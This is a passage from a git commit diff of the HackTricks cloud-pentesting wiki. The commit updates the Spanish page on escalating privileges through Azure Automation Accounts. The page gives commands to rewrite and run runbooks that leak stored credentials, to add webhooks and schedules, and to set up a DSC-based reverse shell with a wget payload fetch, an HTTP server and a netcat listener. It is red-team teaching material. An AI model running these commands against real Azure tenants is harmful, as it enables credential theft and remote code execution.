mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+65
-47
@@ -4,37 +4,37 @@
|
||||
|
||||
## Azure Automation Accounts
|
||||
|
||||
Para más información, consulta:
|
||||
Para más información consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-automation-accounts.md
|
||||
{{#endref}}
|
||||
|
||||
### Grupo de Trabajadores Híbridos
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Desde la Cuenta de Automatización a la VM**
|
||||
- **From the Automation Account to the VM**
|
||||
|
||||
Recuerda que si de alguna manera un atacante puede ejecutar un runbook arbitrario (código arbitrario) en un trabajador híbrido, él **se moverá a la ubicación de la VM**. Esto podría ser una máquina local, una VPC de otra nube o incluso una VM de Azure.
|
||||
Recuerda que si de alguna manera un atacante puede ejecutar un runbook (código arbitrario) en un hybrid worker, podrá **pivot to the location of the VM**. Esto podría ser una máquina on-premise, una VPC de otra cloud o incluso una Azure VM.
|
||||
|
||||
Además, si el trabajador híbrido se está ejecutando en Azure con otras Identidades Administradas adjuntas, el runbook podrá acceder a la **identidad administrada del runbook y todas las identidades administradas de la VM desde el servicio de metadatos**.
|
||||
Además, si el hybrid worker se está ejecutando en Azure con otras Managed Identities adjuntas, el runbook podrá acceder a la **managed identity of the runbook and all the managed identities of the VM from the metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Recuerda que el **servicio de metadatos** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de identidades administradas de la cuenta de automatización (**`IDENTITY_ENDPOINT`**).
|
||||
> Recuerda que el **metadata service** tiene una URL diferente (**`http://169.254.169.254`**) que el servicio desde donde se obtiene el token de las managed identities de la automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Desde la VM a la Cuenta de Automatización**
|
||||
- **From the VM to the Automation Account**
|
||||
|
||||
Además, si alguien compromete una VM donde se está ejecutando un script de cuenta de automatización, podrá localizar los metadatos de la **Cuenta de Automatización** y acceder a ellos desde la VM para obtener tokens para las **Identidades Administradas** adjuntas a la Cuenta de Automatización.
|
||||
Además, si alguien compromete una VM donde se está ejecutando un script de una automation account, podrá localizar los metadatos de la **Automation Account** y acceder a ellos desde la VM para obtener tokens de las **Managed Identities** adjuntas a la Automation Account.
|
||||
|
||||
Como se puede ver en la siguiente imagen, al tener acceso de Administrador sobre la VM, es posible encontrar en las **variables de entorno del proceso** la URL y el secreto para acceder al servicio de metadatos de la cuenta de automatización:
|
||||
Como es posible ver en la siguiente imagen, teniendo acceso de Administrator sobre la VM es posible encontrar en las **environment variables of the process** la URL y el secret para acceder al automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Como resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Cuenta de Automatización, que podrías usar para **ejecutar código** en el contexto de la Cuenta de Automatización y escalar privilegios a las **Identidades Administradas** asignadas y filtrar **credenciales** y **variables encriptadas** almacenadas en la Cuenta de Automatización.
|
||||
En resumen, estos permisos permiten **crear, modificar y ejecutar Runbooks** en la Automation Account, lo que podrías usar para **ejecutar código** en el contexto de la Automation Account y escalar privilegios a las **Managed Identities** asignadas y leak **credenciales** y **variables encriptadas** almacenadas en la Automation Account.
|
||||
|
||||
El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Cuenta de Automatización usando:
|
||||
El permiso **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permite modificar el código de un Runbook en la Automation Account usando:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,7 +47,7 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Nota cómo el script anterior puede ser utilizado para **leak the useranmd and password** de una credencial y el valor de una **encrypted variable** almacenada en la Automation Account.
|
||||
Observa cómo el script anterior puede usarse para **leak el useranmd y password** de una credencial y el valor de una **variable cifrada** almacenada en la Automation Account.
|
||||
|
||||
El permiso **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** permite al usuario publicar un Runbook en la Automation Account para que los cambios se apliquen:
|
||||
```bash
|
||||
@@ -56,7 +56,7 @@ az automation runbook publish \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Cuenta de Automatización utilizando:
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/write`** permite al usuario ejecutar un Runbook en la Automation Account usando:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un trabajo en la Cuenta de Automatización utilizando:
|
||||
El permiso **`Microsoft.Automation/automationAccounts/jobs/output/read`** permite al usuario leer la salida de un job en la Automation Account usando:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Si no hay Runbooks creados, o si deseas crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando:
|
||||
Si no existen Runbooks creados, o quieres crear uno nuevo, necesitarás los **permisos `Microsoft.Resources/subscriptions/resourcegroups/read` y `Microsoft.Automation/automationAccounts/runbooks/write`** para hacerlo usando:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Este permiso permite al usuario **asignar una identidad administrada por el usuario** a la Cuenta de Automatización usando:
|
||||
Este permiso permite al usuario **assign a user managed identity** al Automation Account usando:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/schedules/write`** es posible crear un nuevo Schedule en la Automation Account que se ejecuta cada 15 minutos (no muy sigiloso) utilizando el siguiente comando.
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/schedules/write`** es posible crear un nuevo Schedule en la Automation Account que se ejecuta cada 15 minutos (no muy sigiloso) usando el siguiente comando.
|
||||
|
||||
Tenga en cuenta que el **intervalo mínimo para un schedule es de 15 minutos**, y el **tiempo de inicio mínimo es de 5 minutos** en el futuro.
|
||||
Ten en cuenta que el **intervalo mínimo para un schedule es de 15 minutos**, y el **tiempo mínimo de inicio es de 5 minutos** en el futuro.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Luego, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Programador a un runbook usando:
|
||||
Entonces, con el permiso **`Microsoft.Automation/automationAccounts/jobSchedules/write`** es posible asignar un Scheduler a un runbook usando:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,22 +134,40 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> En el ejemplo anterior, el id del jobchedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo** pero necesitarás usar un valor arbitrario para crear esta asignación.
|
||||
> En el ejemplo anterior el ID del job schedule se dejó como **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` como ejemplo**, pero necesitarás usar un valor arbitrario para crear esta asignación.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Cuenta de Automatización utilizando el siguiente comando.
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/webhooks/write`** es posible crear un nuevo Webhook para un Runbook dentro de una Automation Account usando uno de los siguientes comandos.
|
||||
|
||||
Con Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Este comando debería devolver un URI de webhook que solo se muestra en la creación. Luego, para llamar al runbook usando el URI del webhook.
|
||||
Con AzureCLI y REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Estos comandos deberían devolver un webhook URI que solo se muestra al crearse. Luego, para invocar el runbook usando el webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Solo con el permiso `Microsoft.Automation/automationAccounts/runbooks/draft/write` es posible **actualizar el código de un Runbook** sin publicarlo y ejecutarlo utilizando los siguientes comandos.
|
||||
Solo con el permiso `Microsoft.Automation/automationAccounts/runbooks/draft/write` es posible **actualizar el código de un Runbook** sin publicarlo y ejecutarlo usando los siguientes comandos.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Este permiso permite al usuario **configurar un control de fuente** para la Cuenta de Automatización utilizando comandos como los siguientes (esto utiliza Github como ejemplo):
|
||||
Este permiso permite al usuario **configurar un control de código fuente** para la Automation Account usando un comando como el siguiente (este usa Github como ejemplo):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Esto importará automáticamente los runbooks del repositorio de Github a la Automation Account y con algunos otros permisos para comenzar a ejecutarlos sería **posible escalar privilegios**.
|
||||
Esto importará automáticamente los runbooks desde el repositorio de Github al Automation Account y, con algunos permisos adicionales para iniciarlos, sería **possible to escalate privileges**.
|
||||
|
||||
Además, recuerda que para que el control de versiones funcione en las Automation Accounts debe tener una identidad administrada con el rol **`Contributor`** y si es una identidad administrada por el usuario, el id del cliente de la MI debe especificarse en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Además, recuerda que para que source control funcione en Automation Accounts debe tener una managed identity con el rol **`Contributor`** y, si es una user managed identity, el client id del MI debe especificarse en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Ten en cuenta que no es posible cambiar la URL del repositorio de un control de versiones una vez que se ha creado.
|
||||
> Ten en cuenta que no es posible cambiar la URL del repo de un source control una vez que se ha creado.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/variables/write`** es posible escribir variables en la Automation Account utilizando el siguiente comando.
|
||||
Con el permiso **`Microsoft.Automation/automationAccounts/variables/write`** es posible escribir variables en la Automation Account usando el siguiente comando.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -213,53 +231,53 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Entornos de Ejecución Personalizados
|
||||
### Entornos de runtime personalizados
|
||||
|
||||
Si una cuenta de automatización está utilizando un entorno de ejecución personalizado, podría ser posible sobrescribir un paquete personalizado del entorno con algún código malicioso (como **una puerta trasera**). De esta manera, cada vez que se ejecute un runbook que utilice ese entorno personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
|
||||
Si un automation account está usando un entorno de runtime personalizado, podría ser posible sobrescribir un paquete personalizado del runtime con código malicioso (como **a backdoor**). De este modo, cada vez que se ejecute un runbook que utilice ese runtime personalizado y cargue el paquete personalizado, se ejecutará el código malicioso.
|
||||
|
||||
### Comprometiendo la Configuración de Estado
|
||||
### Comprometiendo la configuración de estado
|
||||
|
||||
**Consulta la publicación completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Consulta la entrada completa en:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Paso 1 — Crear Archivos
|
||||
- Paso 1 — Crear archivos
|
||||
|
||||
**Archivos Requeridos:** Se necesitan dos scripts de PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Un archivo de Configuración de Estado Deseado (DSC) que obtiene y ejecuta la carga útil. Se puede obtener de [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
**Archivos requeridos:** Se necesitan dos scripts de PowerShell:
|
||||
1. `reverse_shell_config.ps1`: Un archivo Desired State Configuration (DSC) que obtiene y ejecuta el payload. Está disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Un script para publicar la configuración en la VM, disponible en [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos los nombres de recursos, rutas de archivos e identificadores de servidor/carga útil.
|
||||
**Personalización:** Las variables y parámetros en estos archivos deben adaptarse al entorno específico del usuario, incluidos nombres de recursos, rutas de archivos e identificadores del servidor/payload.
|
||||
|
||||
- Paso 2 — Comprimir el Archivo de Configuración
|
||||
- Paso 2 — Comprimir el archivo de configuración
|
||||
|
||||
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, preparándolo para su transferencia a la Cuenta de Almacenamiento de Azure.
|
||||
El `reverse_shell_config.ps1` se comprime en un archivo `.zip`, dejándolo listo para transferirse al Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Paso 3 — Establecer contexto de almacenamiento y cargar
|
||||
- Paso 3 — Set Storage Context & Upload
|
||||
|
||||
El archivo de configuración comprimido se carga en un contenedor de almacenamiento de Azure predefinido, azure-pentest, utilizando el cmdlet Set-AzStorageBlobContent de Azure.
|
||||
El archivo de configuración comprimido se carga en un contenedor predefinido de Azure Storage, azure-pentest, usando el cmdlet Set-AzStorageBlobContent de Azure.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Paso 4 — Preparar Kali Box
|
||||
|
||||
El servidor Kali descarga la carga útil RevPS.ps1 de un repositorio de GitHub.
|
||||
El servidor Kali descarga el payload RevPS.ps1 desde un repositorio de GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
El script se edita para especificar la VM de Windows objetivo y el puerto para el shell inverso.
|
||||
Se edita el script para especificar la VM de Windows objetivo y el puerto para el reverse shell.
|
||||
|
||||
- Paso 5 — Publicar Archivo de Configuración
|
||||
- Paso 5 — Publicar el archivo de configuración
|
||||
|
||||
El archivo de configuración se ejecuta, lo que resulta en que el script de shell inverso se despliega en la ubicación especificada en la VM de Windows.
|
||||
El archivo de configuración se ejecuta, resultando en que el reverse-shell script se despliegue en la ubicación especificada en la VM de Windows.
|
||||
|
||||
- Paso 6 — Alojar Carga Útil y Configurar Escucha
|
||||
- Paso 6 — Hospedar el payload y configurar el listener
|
||||
|
||||
Se inicia un Python SimpleHTTPServer para alojar la carga útil, junto con un listener de Netcat para capturar conexiones entrantes.
|
||||
Se inicia un Python SimpleHTTPServer para alojar el payload, junto con un listener de Netcat para capturar las conexiones entrantes.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
La tarea programada ejecuta la carga útil, logrando privilegios a nivel de SYSTEM.
|
||||
La tarea programada ejecuta el payload, obteniendo privilegios a nivel SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user